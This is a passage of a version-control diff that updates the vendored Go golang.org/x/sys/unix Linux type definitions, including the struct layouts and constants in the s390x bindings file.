-+ S5 uint64
-+ S6 uint64
-+ S7 uint64
-+ S8 uint64
-+ S9 uint64
-+ S10 uint64
-+ S11 uint64
-+ T3 uint64
-+ T4 uint64
-+ T5 uint64
-+ T6 uint64
-+}
-+
-+type FdSet struct {
-+ Bits [16]int64
-+}
-+
-+type Sysinfo_t struct {
-+ Uptime int64
-+ Loads [3]uint64
-+ Totalram uint64
-+ Freeram uint64
-+ Sharedram uint64
-+ Bufferram uint64
-+ Totalswap uint64
-+ Freeswap uint64
-+ Procs uint16
-+ Pad uint16
-+ Totalhigh uint64
-+ Freehigh uint64
-+ Unit uint32
-+ _ [0]uint8
-+ _ [4]byte
-+}
-+
-+type Ustat_t struct {
-+ Tfree int32
-+ Tinode uint64
-+ Fname [6]uint8
-+ Fpack [6]uint8
-+ _ [4]byte
-+}
-+
-+type EpollEvent struct {
-+ Events uint32
-+ _ int32
-+ Fd int32
-+ Pad int32
-+}
-+
-+const (
-+ POLLRDHUP = 0x2000
-+)
-+
-+type Sigset_t struct {
-+ Val [16]uint64
-+}
-+
-+const _C__NSIG = 0x41
-+
-+type Termios struct {
-+ Iflag uint32
-+ Oflag uint32
-+ Cflag uint32
-+ Lflag uint32
-+ Line uint8
-+ Cc [19]uint8
-+ Ispeed uint32
-+ Ospeed uint32
-+}
-+
-+type Taskstats struct {
-+ Version uint16
-+ Ac_exitcode uint32
-+ Ac_flag uint8
-+ Ac_nice uint8
-+ Cpu_count uint64
-+ Cpu_delay_total uint64
-+ Blkio_count uint64
-+ Blkio_delay_total uint64
-+ Swapin_count uint64
-+ Swapin_delay_total uint64
-+ Cpu_run_real_total uint64
-+ Cpu_run_virtual_total uint64
-+ Ac_comm [32]uint8
-+ Ac_sched uint8
-+ Ac_pad [3]uint8
-+ _ [4]byte
-+ Ac_uid uint32
-+ Ac_gid uint32
-+ Ac_pid uint32
-+ Ac_ppid uint32
-+ Ac_btime uint32
-+ Ac_etime uint64
-+ Ac_utime uint64
-+ Ac_stime uint64
-+ Ac_minflt uint64
-+ Ac_majflt uint64
-+ Coremem uint64
-+ Virtmem uint64
-+ Hiwater_rss uint64
-+ Hiwater_vm uint64
-+ Read_char uint64
-+ Write_char uint64
-+ Read_syscalls uint64
-+ Write_syscalls uint64
-+ Read_bytes uint64
-+ Write_bytes uint64
-+ Cancelled_write_bytes uint64
-+ Nvcsw uint64
-+ Nivcsw uint64
-+ Ac_utimescaled uint64
-+ Ac_stimescaled uint64
-+ Cpu_scaled_run_real_total uint64
-+ Freepages_count uint64
-+ Freepages_delay_total uint64
-+ Thrashing_count uint64
-+ Thrashing_delay_total uint64
-+ Ac_btime64 uint64
-+}
-+
-+type cpuMask uint64
-+
-+const (
-+ _NCPUBITS = 0x40
-+)
-+
-+const (
-+ CBitFieldMaskBit0 = 0x1
-+ CBitFieldMaskBit1 = 0x2
-+ CBitFieldMaskBit2 = 0x4
-+ CBitFieldMaskBit3 = 0x8
-+ CBitFieldMaskBit4 = 0x10
-+ CBitFieldMaskBit5 = 0x20
-+ CBitFieldMaskBit6 = 0x40
-+ CBitFieldMaskBit7 = 0x80
-+ CBitFieldMaskBit8 = 0x100
-+ CBitFieldMaskBit9 = 0x200
-+ CBitFieldMaskBit10 = 0x400
-+ CBitFieldMaskBit11 = 0x800
-+ CBitFieldMaskBit12 = 0x1000
-+ CBitFieldMaskBit13 = 0x2000
-+ CBitFieldMaskBit14 = 0x4000
-+ CBitFieldMaskBit15 = 0x8000
-+ CBitFieldMaskBit16 = 0x10000
-+ CBitFieldMaskBit17 = 0x20000
-+ CBitFieldMaskBit18 = 0x40000
-+ CBitFieldMaskBit19 = 0x80000
-+ CBitFieldMaskBit20 = 0x100000
-+ CBitFieldMaskBit21 = 0x200000
-+ CBitFieldMaskBit22 = 0x400000
-+ CBitFieldMaskBit23 = 0x800000
-+ CBitFieldMaskBit24 = 0x1000000
-+ CBitFieldMaskBit25 = 0x2000000
-+ CBitFieldMaskBit26 = 0x4000000
-+ CBitFieldMaskBit27 = 0x8000000
-+ CBitFieldMaskBit28 = 0x10000000
-+ CBitFieldMaskBit29 = 0x20000000
-+ CBitFieldMaskBit30 = 0x40000000
-+ CBitFieldMaskBit31 = 0x80000000
-+ CBitFieldMaskBit32 = 0x100000000
-+ CBitFieldMaskBit33 = 0x200000000
-+ CBitFieldMaskBit34 = 0x400000000
-+ CBitFieldMaskBit35 = 0x800000000
-+ CBitFieldMaskBit36 = 0x1000000000
-+ CBitFieldMaskBit37 = 0x2000000000
-+ CBitFieldMaskBit38 = 0x4000000000
-+ CBitFieldMaskBit39 = 0x8000000000
-+ CBitFieldMaskBit40 = 0x10000000000
-+ CBitFieldMaskBit41 = 0x20000000000
-+ CBitFieldMaskBit42 = 0x40000000000
-+ CBitFieldMaskBit43 = 0x80000000000
-+ CBitFieldMaskBit44 = 0x100000000000
-+ CBitFieldMaskBit45 = 0x200000000000
-+ CBitFieldMaskBit46 = 0x400000000000
-+ CBitFieldMaskBit47 = 0x800000000000
-+ CBitFieldMaskBit48 = 0x1000000000000
-+ CBitFieldMaskBit49 = 0x2000000000000
-+ CBitFieldMaskBit50 = 0x4000000000000
-+ CBitFieldMaskBit51 = 0x8000000000000
-+ CBitFieldMaskBit52 = 0x10000000000000
-+ CBitFieldMaskBit53 = 0x20000000000000
-+ CBitFieldMaskBit54 = 0x40000000000000
-+ CBitFieldMaskBit55 = 0x80000000000000
-+ CBitFieldMaskBit56 = 0x100000000000000
-+ CBitFieldMaskBit57 = 0x200000000000000
-+ CBitFieldMaskBit58 = 0x400000000000000
-+ CBitFieldMaskBit59 = 0x800000000000000
-+ CBitFieldMaskBit60 = 0x1000000000000000
-+ CBitFieldMaskBit61 = 0x2000000000000000
-+ CBitFieldMaskBit62 = 0x4000000000000000
-+ CBitFieldMaskBit63 = 0x8000000000000000
-+)
-+
-+type SockaddrStorage struct {
-+ Family uint16
-+ _ [118]uint8
-+ _ uint64
-+}
-+
-+type HDGeometry struct {
-+ Heads uint8
-+ Sectors uint8
-+ Cylinders uint16
-+ Start uint64
-+}
-+
-+type Statfs_t struct {
-+ Type int64
-+ Bsize int64
-+ Blocks uint64
-+ Bfree uint64
-+ Bavail uint64
-+ Files uint64
-+ Ffree uint64
-+ Fsid Fsid
-+ Namelen int64
-+ Frsize int64
-+ Flags int64
-+ Spare [4]int64
-+}
-+
-+type TpacketHdr struct {
-+ Status uint64
-+ Len uint32
-+ Snaplen uint32
-+ Mac uint16
-+ Net uint16
-+ Sec uint32
-+ Usec uint32
-+ _ [4]byte
-+}
-+
-+const (
-+ SizeofTpacketHdr = 0x20
-+)
-+
-+type RTCPLLInfo struct {
-+ Ctrl int32
-+ Value int32
-+ Max int32
-+ Min int32
-+ Posmult int32
-+ Negmult int32
-+ Clock int64
-+}
-+
-+type BlkpgPartition struct {
-+ Start int64
-+ Length int64
-+ Pno int32
-+ Devname [64]uint8
-+ Volname [64]uint8
-+ _ [4]byte
-+}
-+
-+const (
-+ BLKPG = 0x1269
-+)
-+
-+type XDPUmemReg struct {
-+ Addr uint64
-+ Len uint64
-+ Size uint32
-+ Headroom uint32
-+ Flags uint32
-+ _ [4]byte
-+}
-+
-+type CryptoUserAlg struct {
-+ Name [64]uint8
-+ Driver_name [64]uint8
-+ Module_name [64]uint8
-+ Type uint32
-+ Mask uint32
-+ Refcnt uint32
-+ Flags uint32
-+}
-+
-+type CryptoStatAEAD struct {
-+ Type [64]uint8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatAKCipher struct {
-+ Type [64]uint8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Verify_cnt uint64
-+ Sign_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCipher struct {
-+ Type [64]uint8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCompress struct {
-+ Type [64]uint8
-+ Compress_cnt uint64
-+ Compress_tlen uint64
-+ Decompress_cnt uint64
-+ Decompress_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatHash struct {
-+ Type [64]uint8
-+ Hash_cnt uint64
-+ Hash_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatKPP struct {
-+ Type [64]uint8
-+ Setsecret_cnt uint64
-+ Generate_public_key_cnt uint64
-+ Compute_shared_secret_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatRNG struct {
-+ Type [64]uint8
-+ Generate_cnt uint64
-+ Generate_tlen uint64
-+ Seed_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatLarval struct {
-+ Type [64]uint8
-+}
-+
-+type CryptoReportLarval struct {
-+ Type [64]uint8
-+}
-+
-+type CryptoReportHash struct {
-+ Type [64]uint8
-+ Blocksize uint32
-+ Digestsize uint32
-+}
-+
-+type CryptoReportCipher struct {
-+ Type [64]uint8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+}
-+
-+type CryptoReportBlkCipher struct {
-+ Type [64]uint8
-+ Geniv [64]uint8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportAEAD struct {
-+ Type [64]uint8
-+ Geniv [64]uint8
-+ Blocksize uint32
-+ Maxauthsize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportComp struct {
-+ Type [64]uint8
-+}
-+
-+type CryptoReportRNG struct {
-+ Type [64]uint8
-+ Seedsize uint32
-+}
-+
-+type CryptoReportAKCipher struct {
-+ Type [64]uint8
-+}
-+
-+type CryptoReportKPP struct {
-+ Type [64]uint8
-+}
-+
-+type CryptoReportAcomp struct {
-+ Type [64]uint8
-+}
-+
-+type LoopInfo struct {
-+ Number int32
-+ Device uint32
-+ Inode uint64
-+ Rdevice uint32
-+ Offset int32
-+ Encrypt_type int32
-+ Encrypt_key_size int32
-+ Flags int32
-+ Name [64]uint8
-+ Encrypt_key [32]uint8
-+ Init [2]uint64
-+ Reserved [4]uint8
-+ _ [4]byte
-+}
-+
-+type TIPCSubscr struct {
-+ Seq TIPCServiceRange
-+ Timeout uint32
-+ Filter uint32
-+ Handle [8]uint8
-+}
-+
-+type TIPCSIOCLNReq struct {
-+ Peer uint32
-+ Id uint32
-+ Linkname [68]uint8
-+}
-+
-+type TIPCSIOCNodeIDReq struct {
-+ Peer uint32
-+ Id [16]uint8
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_s390x.go b/vendor/golang.org/x/sys/unix/ztypes_linux_s390x.go
-index 5e0aa663..cca1b6be 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_linux_s390x.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_linux_s390x.go
-@@ -6,19 +6,12 @@
- package unix
-
- const (
-- sizeofPtr = 0x8
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x8
-- sizeofLongLong = 0x8
-- PathMax = 0x1000
-+ SizeofPtr = 0x8
-+ SizeofLong = 0x8
- )
-
- type (
-- _C_short int16
-- _C_int int32
-- _C_long int64
-- _C_long_long int64
-+ _C_long int64
- )
-
- type Timespec struct {
-@@ -33,13 +26,11 @@ type Timeval struct {
-
- type Timex struct {
- Modes uint32
-- _ [4]byte
- Offset int64
- Freq int64
- Maxerror int64
- Esterror int64
- Status int32
-- _ [4]byte
- Constant int64
- Precision int64
- Tolerance int64
-@@ -48,7 +39,6 @@ type Timex struct {
- Ppsfreq int64
- Jitter int64
- Shift int32
-- _ [4]byte
- Stabil int64
- Jitcnt int64
- Calcnt int64
-@@ -91,13 +81,6 @@ type Rusage struct {
- Nivcsw int64
- }
-
--type Rlimit struct {
-- Cur uint64
-- Max uint64
--}
--
--type _Gid_t uint32
--
- type Stat_t struct {
- Dev uint64
- Ino uint64
-@@ -116,22 +99,6 @@ type Stat_t struct {
- _ [3]int64
- }
-
--type Statfs_t struct {
-- Type uint32
-- Bsize uint32
-- Blocks uint64
-- Bfree uint64
-- Bavail uint64
-- Files uint64
-- Ffree uint64
-- Fsid Fsid
-- Namelen uint32
-- Frsize uint32
-- Flags uint32
-- Spare [4]uint32
-- _ [4]byte
--}
--
- type Dirent struct {
- Ino uint64
- Off int64
-@@ -141,115 +108,20 @@ type Dirent struct {
- _ [5]byte
- }
-
--type Fsid struct {
-- _ [2]int32
--}
--
- type Flock_t struct {
- Type int16
- Whence int16
-- _ [4]byte
- Start int64
- Len int64
- Pid int32
- _ [4]byte
- }
-
--type FscryptPolicy struct {
-- Version uint8
-- Contents_encryption_mode uint8
-- Filenames_encryption_mode uint8
-- Flags uint8
-- Master_key_descriptor [8]uint8
--}
--
--type FscryptKey struct {
-- Mode uint32
-- Raw [64]uint8
-- Size uint32
--}
--
--type KeyctlDHParams struct {
-- Private int32
-- Prime int32
-- Base int32
--}
--
- const (
-- FADV_NORMAL = 0x0
-- FADV_RANDOM = 0x1
-- FADV_SEQUENTIAL = 0x2
-- FADV_WILLNEED = 0x3
-- FADV_DONTNEED = 0x6
-- FADV_NOREUSE = 0x7
-+ FADV_DONTNEED = 0x6
-+ FADV_NOREUSE = 0x7
- )
-
--type RawSockaddrInet4 struct {
-- Family uint16
-- Port uint16
-- Addr [4]byte /* in_addr */
-- Zero [8]uint8
--}
--
--type RawSockaddrInet6 struct {
-- Family uint16
-- Port uint16
-- Flowinfo uint32
-- Addr [16]byte /* in6_addr */
-- Scope_id uint32
--}
--
--type RawSockaddrUnix struct {
-- Family uint16
-- Path [108]int8
--}
--
--type RawSockaddrLinklayer struct {
-- Family uint16
-- Protocol uint16
-- Ifindex int32
-- Hatype uint16
-- Pkttype uint8
-- Halen uint8
-- Addr [8]uint8
--}
--
--type RawSockaddrNetlink struct {
-- Family uint16
-- Pad uint16
-- Pid uint32
-- Groups uint32
--}
--
--type RawSockaddrHCI struct {
-- Family uint16
-- Dev uint16
-- Channel uint16
--}
--
--type RawSockaddrCAN struct {
-- Family uint16
-- _ [2]byte
-- Ifindex int32
-- Addr [8]byte
--}
--
--type RawSockaddrALG struct {
-- Family uint16
-- Type [14]uint8
-- Feat uint32
-- Mask uint32
-- Name [64]uint8
--}
--
--type RawSockaddrVM struct {
-- Family uint16
-- Reserved1 uint16
-- Port uint32
-- Cid uint32
-- Zero [4]uint8
--}
--
- type RawSockaddr struct {
- Family uint16
- Data [14]int8
-@@ -260,45 +132,14 @@ type RawSockaddrAny struct {
- Pad [96]int8
- }
-
--type _Socklen uint32
--
--type Linger struct {
-- Onoff int32
-- Linger int32
--}
--
- type Iovec struct {
- Base *byte
- Len uint64
- }
-
--type IPMreq struct {
-- Multiaddr [4]byte /* in_addr */
-- Interface [4]byte /* in_addr */
--}
--
--type IPMreqn struct {
-- Multiaddr [4]byte /* in_addr */
-- Address [4]byte /* in_addr */
-- Ifindex int32
--}
--
--type IPv6Mreq struct {
-- Multiaddr [16]byte /* in6_addr */
-- Interface uint32
--}
--
--type PacketMreq struct {
-- Ifindex int32
-- Type uint16
-- Alen uint16
-- Address [8]uint8
--}
--
- type Msghdr struct {
- Name *byte
- Namelen uint32
-- _ [4]byte
- Iov *Iovec
- Iovlen uint64
- Control *byte
-@@ -313,277 +154,16 @@ type Cmsghdr struct {
- Type int32
- }
-
--type Inet4Pktinfo struct {
-- Ifindex int32
-- Spec_dst [4]byte /* in_addr */
-- Addr [4]byte /* in_addr */
--}
--
--type Inet6Pktinfo struct {
-- Addr [16]byte /* in6_addr */
-- Ifindex uint32
--}
--
--type IPv6MTUInfo struct {
-- Addr RawSockaddrInet6
-- Mtu uint32
--}
--
--type ICMPv6Filter struct {
-- Data [8]uint32
--}
--
--type Ucred struct {
-- Pid int32
-- Uid uint32
-- Gid uint32
--}
--
--type TCPInfo struct {
-- State uint8
-- Ca_state uint8
-- Retransmits uint8
-- Probes uint8
-- Backoff uint8
-- Options uint8
-- _ [2]byte
-- Rto uint32
-- Ato uint32
-- Snd_mss uint32
-- Rcv_mss uint32
-- Unacked uint32
-- Sacked uint32
-- Lost uint32
-- Retrans uint32
-- Fackets uint32
-- Last_data_sent uint32
-- Last_ack_sent uint32
-- Last_data_recv uint32
-- Last_ack_recv uint32
-- Pmtu uint32
-- Rcv_ssthresh uint32
-- Rtt uint32
-- Rttvar uint32
-- Snd_ssthresh uint32
-- Snd_cwnd uint32
-- Advmss uint32
-- Reordering uint32
-- Rcv_rtt uint32
-- Rcv_space uint32
-- Total_retrans uint32
--}
--
--const (
-- SizeofSockaddrInet4 = 0x10
-- SizeofSockaddrInet6 = 0x1c
-- SizeofSockaddrAny = 0x70
-- SizeofSockaddrUnix = 0x6e
-- SizeofSockaddrLinklayer = 0x14
-- SizeofSockaddrNetlink = 0xc
-- SizeofSockaddrHCI = 0x6
-- SizeofSockaddrCAN = 0x10
-- SizeofSockaddrALG = 0x58
-- SizeofSockaddrVM = 0x10
-- SizeofLinger = 0x8
-- SizeofIovec = 0x10
-- SizeofIPMreq = 0x8
-- SizeofIPMreqn = 0xc
-- SizeofIPv6Mreq = 0x14
-- SizeofPacketMreq = 0x10
-- SizeofMsghdr = 0x38
-- SizeofCmsghdr = 0x10
-- SizeofInet4Pktinfo = 0xc
-- SizeofInet6Pktinfo = 0x14
-- SizeofIPv6MTUInfo = 0x20
-- SizeofICMPv6Filter = 0x20
-- SizeofUcred = 0xc
-- SizeofTCPInfo = 0x68
--)
--
- const (
-- IFA_UNSPEC = 0x0
-- IFA_ADDRESS = 0x1
-- IFA_LOCAL = 0x2
-- IFA_LABEL = 0x3
-- IFA_BROADCAST = 0x4
-- IFA_ANYCAST = 0x5
-- IFA_CACHEINFO = 0x6
-- IFA_MULTICAST = 0x7
-- IFLA_UNSPEC = 0x0
-- IFLA_ADDRESS = 0x1
-- IFLA_BROADCAST = 0x2
-- IFLA_IFNAME = 0x3
-- IFLA_MTU = 0x4
-- IFLA_LINK = 0x5
-- IFLA_QDISC = 0x6
-- IFLA_STATS = 0x7
-- IFLA_COST = 0x8
-- IFLA_PRIORITY = 0x9
-- IFLA_MASTER = 0xa
-- IFLA_WIRELESS = 0xb
-- IFLA_PROTINFO = 0xc
-- IFLA_TXQLEN = 0xd
-- IFLA_MAP = 0xe
-- IFLA_WEIGHT = 0xf
-- IFLA_OPERSTATE = 0x10
-- IFLA_LINKMODE = 0x11
-- IFLA_LINKINFO = 0x12
-- IFLA_NET_NS_PID = 0x13
-- IFLA_IFALIAS = 0x14
-- IFLA_MAX = 0x2b
-- RT_SCOPE_UNIVERSE = 0x0
-- RT_SCOPE_SITE = 0xc8
-- RT_SCOPE_LINK = 0xfd
-- RT_SCOPE_HOST = 0xfe
-- RT_SCOPE_NOWHERE = 0xff
-- RT_TABLE_UNSPEC = 0x0
-- RT_TABLE_COMPAT = 0xfc
-- RT_TABLE_DEFAULT = 0xfd
-- RT_TABLE_MAIN = 0xfe
-- RT_TABLE_LOCAL = 0xff
-- RT_TABLE_MAX = 0xffffffff
-- RTA_UNSPEC = 0x0
-- RTA_DST = 0x1
-- RTA_SRC = 0x2
-- RTA_IIF = 0x3
-- RTA_OIF = 0x4
-- RTA_GATEWAY = 0x5
-- RTA_PRIORITY = 0x6
-- RTA_PREFSRC = 0x7
-- RTA_METRICS = 0x8
-- RTA_MULTIPATH = 0x9
-- RTA_FLOW = 0xb
-- RTA_CACHEINFO = 0xc
-- RTA_TABLE = 0xf
-- RTN_UNSPEC = 0x0
-- RTN_UNICAST = 0x1
-- RTN_LOCAL = 0x2
-- RTN_BROADCAST = 0x3
-- RTN_ANYCAST = 0x4
-- RTN_MULTICAST = 0x5
-- RTN_BLACKHOLE = 0x6
-- RTN_UNREACHABLE = 0x7
-- RTN_PROHIBIT = 0x8
-- RTN_THROW = 0x9
-- RTN_NAT = 0xa
-- RTN_XRESOLVE = 0xb
-- RTNLGRP_NONE = 0x0
-- RTNLGRP_LINK = 0x1
-- RTNLGRP_NOTIFY = 0x2
-- RTNLGRP_NEIGH = 0x3
-- RTNLGRP_TC = 0x4
-- RTNLGRP_IPV4_IFADDR = 0x5
-- RTNLGRP_IPV4_MROUTE = 0x6
-- RTNLGRP_IPV4_ROUTE = 0x7
-- RTNLGRP_IPV4_RULE = 0x8
-- RTNLGRP_IPV6_IFADDR = 0x9
-- RTNLGRP_IPV6_MROUTE = 0xa
-- RTNLGRP_IPV6_ROUTE = 0xb
-- RTNLGRP_IPV6_IFINFO = 0xc
-- RTNLGRP_IPV6_PREFIX = 0x12
-- RTNLGRP_IPV6_RULE = 0x13
-- RTNLGRP_ND_USEROPT = 0x14
-- SizeofNlMsghdr = 0x10
-- SizeofNlMsgerr = 0x14
-- SizeofRtGenmsg = 0x1
-- SizeofNlAttr = 0x4
-- SizeofRtAttr = 0x4
-- SizeofIfInfomsg = 0x10
-- SizeofIfAddrmsg = 0x8
-- SizeofRtMsg = 0xc
-- SizeofRtNexthop = 0x8
-+ SizeofIovec = 0x10
-+ SizeofMsghdr = 0x38
-+ SizeofCmsghdr = 0x10
- )
-
--type NlMsghdr struct {
-- Len uint32
-- Type uint16
-- Flags uint16
-- Seq uint32
-- Pid uint32
--}
--
--type NlMsgerr struct {
-- Error int32
-- Msg NlMsghdr
--}
--
--type RtGenmsg struct {
-- Family uint8
--}
--
--type NlAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type RtAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type IfInfomsg struct {
-- Family uint8
-- _ uint8
-- Type uint16
-- Index int32
-- Flags uint32
-- Change uint32
--}
--
--type IfAddrmsg struct {
-- Family uint8
-- Prefixlen uint8
-- Flags uint8
-- Scope uint8
-- Index uint32
--}
--
--type RtMsg struct {
-- Family uint8
-- Dst_len uint8
-- Src_len uint8
-- Tos uint8
-- Table uint8
-- Protocol uint8
-- Scope uint8
-- Type uint8
-- Flags uint32
--}
--
--type RtNexthop struct {
-- Len uint16
-- Flags uint8
-- Hops uint8
-- Ifindex int32
--}
--
- const (
-- SizeofSockFilter = 0x8
-- SizeofSockFprog = 0x10
-+ SizeofSockFprog = 0x10
- )
-
--type SockFilter struct {
-- Code uint16
-- Jt uint8
-- Jf uint8
-- K uint32
--}
--
--type SockFprog struct {
-- Len uint16
-- _ [6]byte
-- Filter *SockFilter
--}
--
--type InotifyEvent struct {
-- Wd int32
-- Mask uint32
-- Cookie uint32
-- Len uint32
--}
--
--const SizeofInotifyEvent = 0x10
--
- type PtraceRegs struct {
- Psw PtracePsw
- Gprs [16]uint64
-@@ -601,18 +181,15 @@ type PtracePsw struct {
-
- type PtraceFpregs struct {
- Fpc uint32
-- _ [4]byte
- Fprs [16]float64
- }
-
- type PtracePer struct {
- _ [0]uint64
-- _ [24]byte
-- _ [8]byte
-+ _ [32]byte
- Starting_addr uint64
- Ending_addr uint64
- Perc_atmid uint16
-- _ [6]byte
- Address uint64
- Access_id uint8
- _ [7]byte
-@@ -633,7 +210,6 @@ type Sysinfo_t struct {
- Freeswap uint64
- Procs uint16
- Pad uint16
-- _ [4]byte
- Totalhigh uint64
- Freehigh uint64
- Unit uint32
-@@ -641,18 +217,8 @@ type Sysinfo_t struct {
- _ [4]byte
- }
-
--type Utsname struct {
-- Sysname [65]int8
-- Nodename [65]int8
-- Release [65]int8
-- Version [65]int8
-- Machine [65]int8
-- Domainname [65]int8
--}
--
- type Ustat_t struct {
- Tfree int32
-- _ [4]byte
- Tinode uint64
- Fname [6]int8
- Fpack [6]int8
-@@ -667,37 +233,14 @@ type EpollEvent struct {
- }
-
- const (
-- AT_FDCWD = -0x64
-- AT_REMOVEDIR = 0x200
-- AT_SYMLINK_FOLLOW = 0x400
-- AT_SYMLINK_NOFOLLOW = 0x100
--)
--
--type PollFd struct {
-- Fd int32
-- Events int16
-- Revents int16
--}
--
--const (
-- POLLIN = 0x1
-- POLLPRI = 0x2
-- POLLOUT = 0x4
- POLLRDHUP = 0x2000
-- POLLERR = 0x8
-- POLLHUP = 0x10
-- POLLNVAL = 0x20
- )
-
- type Sigset_t struct {
-- _ [16]uint64
-+ Val [16]uint64
- }
-
--const RNDGETENTCNT = 0x80045200
--
--const PERF_IOC_FLAG_GROUP = 0x1
--
--const _SC_PAGESIZE = 0x1e
-+const _C__NSIG = 0x41
-
- type Termios struct {
- Iflag uint32
-@@ -710,20 +253,11 @@ type Termios struct {
- Ospeed uint32
- }
-
--type Winsize struct {
-- Row uint16
-- Col uint16
-- Xpixel uint16
-- Ypixel uint16
--}
--
- type Taskstats struct {
- Version uint16
-- _ [2]byte
- Ac_exitcode uint32
- Ac_flag uint8
- Ac_nice uint8
-- _ [6]byte
- Cpu_count uint64
- Cpu_delay_total uint64
- Blkio_count uint64
-@@ -741,7 +275,6 @@ type Taskstats struct {
- Ac_pid uint32
- Ac_ppid uint32
- Ac_btime uint32
-- _ [4]byte
- Ac_etime uint64
- Ac_utime uint64
- Ac_stime uint64
-@@ -765,55 +298,320 @@ type Taskstats struct {
- Cpu_scaled_run_real_total uint64
- Freepages_count uint64
- Freepages_delay_total uint64
-+ Thrashing_count uint64
-+ Thrashing_delay_total uint64
-+ Ac_btime64 uint64
-+}
-+
-+type cpuMask uint64
-+
-+const (
-+ _NCPUBITS = 0x40
-+)
-+
-+const (
-+ CBitFieldMaskBit0 = 0x8000000000000000
-+ CBitFieldMaskBit1 = 0x4000000000000000
-+ CBitFieldMaskBit2 = 0x2000000000000000
-+ CBitFieldMaskBit3 = 0x1000000000000000
-+ CBitFieldMaskBit4 = 0x800000000000000
-+ CBitFieldMaskBit5 = 0x400000000000000
-+ CBitFieldMaskBit6 = 0x200000000000000
-+ CBitFieldMaskBit7 = 0x100000000000000
-+ CBitFieldMaskBit8 = 0x80000000000000
-+ CBitFieldMaskBit9 = 0x40000000000000
-+ CBitFieldMaskBit10 = 0x20000000000000
-+ CBitFieldMaskBit11 = 0x10000000000000
-+ CBitFieldMaskBit12 = 0x8000000000000
-+ CBitFieldMaskBit13 = 0x4000000000000
-+ CBitFieldMaskBit14 = 0x2000000000000
-+ CBitFieldMaskBit15 = 0x1000000000000
-+ CBitFieldMaskBit16 = 0x800000000000
-+ CBitFieldMaskBit17 = 0x400000000000
-+ CBitFieldMaskBit18 = 0x200000000000
-+ CBitFieldMaskBit19 = 0x100000000000
-+ CBitFieldMaskBit20 = 0x80000000000
-+ CBitFieldMaskBit21 = 0x40000000000
-+ CBitFieldMaskBit22 = 0x20000000000
-+ CBitFieldMaskBit23 = 0x10000000000
-+ CBitFieldMaskBit24 = 0x8000000000
-+ CBitFieldMaskBit25 = 0x4000000000
-+ CBitFieldMaskBit26 = 0x2000000000
-+ CBitFieldMaskBit27 = 0x1000000000
-+ CBitFieldMaskBit28 = 0x800000000
-+ CBitFieldMaskBit29 = 0x400000000
-+ CBitFieldMaskBit30 = 0x200000000
-+ CBitFieldMaskBit31 = 0x100000000
-+ CBitFieldMaskBit32 = 0x80000000
-+ CBitFieldMaskBit33 = 0x40000000
-+ CBitFieldMaskBit34 = 0x20000000
-+ CBitFieldMaskBit35 = 0x10000000
-+ CBitFieldMaskBit36 = 0x8000000
-+ CBitFieldMaskBit37 = 0x4000000
-+ CBitFieldMaskBit38 = 0x2000000
-+ CBitFieldMaskBit39 = 0x1000000
-+ CBitFieldMaskBit40 = 0x800000
-+ CBitFieldMaskBit41 = 0x400000
-+ CBitFieldMaskBit42 = 0x200000
-+ CBitFieldMaskBit43 = 0x100000
-+ CBitFieldMaskBit44 = 0x80000
-+ CBitFieldMaskBit45 = 0x40000
-+ CBitFieldMaskBit46 = 0x20000
-+ CBitFieldMaskBit47 = 0x10000
-+ CBitFieldMaskBit48 = 0x8000
-+ CBitFieldMaskBit49 = 0x4000
-+ CBitFieldMaskBit50 = 0x2000
-+ CBitFieldMaskBit51 = 0x1000
-+ CBitFieldMaskBit52 = 0x800
-+ CBitFieldMaskBit53 = 0x400
-+ CBitFieldMaskBit54 = 0x200
-+ CBitFieldMaskBit55 = 0x100
-+ CBitFieldMaskBit56 = 0x80
-+ CBitFieldMaskBit57 = 0x40
-+ CBitFieldMaskBit58 = 0x20
-+ CBitFieldMaskBit59 = 0x10
-+ CBitFieldMaskBit60 = 0x8
-+ CBitFieldMaskBit61 = 0x4
-+ CBitFieldMaskBit62 = 0x2
-+ CBitFieldMaskBit63 = 0x1
-+)
-+
-+type SockaddrStorage struct {
-+ Family uint16
-+ _ [118]int8
-+ _ uint64
-+}
-+
-+type HDGeometry struct {
-+ Heads uint8
-+ Sectors uint8
-+ Cylinders uint16
-+ Start uint64
-+}
-+
-+type Statfs_t struct {
-+ Type uint32
-+ Bsize uint32
-+ Blocks uint64
-+ Bfree uint64
-+ Bavail uint64
-+ Files uint64
-+ Ffree uint64
-+ Fsid Fsid
-+ Namelen uint32
-+ Frsize uint32
-+ Flags uint32
-+ Spare [4]uint32
-+ _ [4]byte
-+}
-+
-+type TpacketHdr struct {
-+ Status uint64
-+ Len uint32
-+ Snaplen uint32
-+ Mac uint16
-+ Net uint16
-+ Sec uint32
-+ Usec uint32
-+ _ [4]byte
- }
-
- const (
-- TASKSTATS_CMD_UNSPEC = 0x0
-- TASKSTATS_CMD_GET = 0x1
-- TASKSTATS_CMD_NEW = 0x2
-- TASKSTATS_TYPE_UNSPEC = 0x0
-- TASKSTATS_TYPE_PID = 0x1
-- TASKSTATS_TYPE_TGID = 0x2
-- TASKSTATS_TYPE_STATS = 0x3
-- TASKSTATS_TYPE_AGGR_PID = 0x4
-- TASKSTATS_TYPE_AGGR_TGID = 0x5
